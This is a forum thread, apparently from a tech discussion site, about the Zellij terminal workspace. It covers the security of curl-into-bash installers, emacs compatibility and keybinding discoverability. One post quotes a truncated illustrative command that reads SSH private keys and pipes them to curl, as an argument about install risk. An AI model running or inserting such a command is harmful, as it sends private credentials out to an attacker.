Zellij: A terminal workspace with batteries included

Post by zbird » Sat, Aug 13, 2022, 1:37 AM UTC

moondev wrote: post #16

aspaceman wrote: post #6

Earlier quoted context omitted.

"a bunch of folks do something insecure" does not speak argument. The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy. It's really silly.

> Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." If you can inject that breaking TLS which secures everything on the internet, why can't you inject your own checksum on the "download page"?

Post by imsnif » Sat, Aug 13, 2022, 1:55 AM UTC

abrax3141 wrote: post #27

Serious Q: Has a serious emacs user checked this out? It looks exciting, but I’m a full time, long time, emacs -nw multi-buffer M-xshell user. Am I going to be disappointed bcs either it’s not going to let me run emacs on its sub windows, or it will have unresolveable key binding incompatibilities?

Post by user00012-ab » Sat, Aug 13, 2022, 2:11 AM UTC

da39a3ee wrote: post #5

slang800 wrote: post #3

Please do not pipe scripts downloaded through curl into bash. Use a package manager. That way the downloaded binary can be verified against a checksum and/or GPG signing.

Please don't contribute worthless and irrelevant comments like this. As you doubtless well know, piping from curl into bash is something that a large subset of respected programmers think is reasonable, and another rather tedious subset do not. For example, the entire Rust community clearly has a consensus that it's reasonable: https://rustup.rs/ As does homebrew https://brew.sh/ and pyenv https://github.com/pyenv/py…

Post by kosayoda » Sat, Aug 13, 2022, 2:22 AM UTC

lillecarl wrote: post #20

sreevisakh wrote: post #18

Earlier quoted context omitted.

The interface is very discoverable, unlike screen or tmux. You can start using it productively even before reading any documentation. The keybindings feel like a cross between vim (modal) bindings and CUA bindings.

One thing that is a bit weird still is that the displayed keybindings doesn't reflect your configuration, so if you use an alternative config you'll see the wrong bindings for some thing all the time.

Post by foolinaround » Sat, Aug 13, 2022, 2:28 AM UTC